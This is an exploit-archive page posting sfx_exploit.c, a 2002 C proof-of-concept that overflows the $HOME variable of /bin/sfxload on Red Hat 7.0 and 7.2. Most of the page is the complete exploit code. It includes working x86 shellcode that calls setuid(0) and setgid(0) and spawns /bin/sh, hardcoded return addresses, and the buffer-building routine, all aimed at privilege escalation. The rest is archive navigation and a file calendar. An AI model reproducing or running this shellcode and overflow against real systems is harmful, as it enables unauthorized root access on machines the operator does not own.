exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sfx_exploit.c

sfx_exploit.c
Posted Dec 29, 2002
Authored by Gabriel Maggiotti | Site qb0x.net

Local proof of concept for non-setuid binary /bin/sfxload which overflows the $HOME environment variable. Tested on Red Hat 7.0 and 7.2. Other setuid programs may call this binary, leading to privilege escalation.

tags | exploit, overflow, local, proof of concept
systems | linux, redhat
SHA-256 | fba83a1d7358cb4bbde5773a64e9b9700c008093044e9eb8b18d983f0b18adb3

sfx_exploit.c

Change Mirror Download
/*
---------------------------------------------------------------------------
Web: http://qb0x.net Author: Gabriel A. Maggiotti
Date: December 29, 2002 E-mail: gmaggiot@ciudad.com.ar
---------------------------------------------------------------------------

This is a proof of concept exploit for sfxload. sfxload user $HOME
environment variable without checking it size.
This exploit takes advantage from this bug and put a shellcode inside $HOME.

*/

#include <stdio.h>

#define OFFSET 284
#define NOP 0x90
#define RET_70 0xbffff840
#define RET_72 0xbffff900


int get_sp(void) {
__asm__("movl %esp, %eax");
}

int
main(int argc, char *argv[])
{
int i=0; char buf[OFFSET];
int c, ret;

unsigned char shellcode1[] =
"\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" // alarm(0);
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0);
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80" // setgid(0);
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


if(argc != 2) {
fprintf(stderr,"usage: %s <os_type> \n",argv[0]);
fprintf(stderr,"types:\n RedHat 7.0 - [1]");
fprintf(stderr,"\n RedHat 7.2 - [2]\n\n");
return 1;
}

c=atoi(argv[1]);

switch(c) {
case 1:
printf("Exploiting compress for RedHat 7.0\n");
ret = RET_70 - OFFSET ;
break;
case 2:
printf("Exploiting compress for RedHat 7.2\n");
ret = RET_72 - OFFSET;
break;
}

for(i=0;i<=OFFSET-1 ;i++)
buf[i]='A';
*(int *) &buf[i] = ret;
memcpy(buf+100,shellcode1,strlen(shellcode1));

setenv("HOME",buf,1);
execl("/bin/sfxload", "/bin/sfxload", NULL, NULL);

return 0;
}

/*
---------------------------------------------------------------------------
research-list@qb0x.net is dedicated to interactively researching vulnerab-
ilities, report potential or undeveloped holes in any kind of computer system.
To subscribe to research-list@qb0x.ne t send a blank email to
research-list-subscribe@qb0x.net. More help available sending an email
to research-list-help@qb0x.net.
Note: the list doesn't allow html, it will be stripped from messages.
---------------------------------------------------------------------------
*/
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close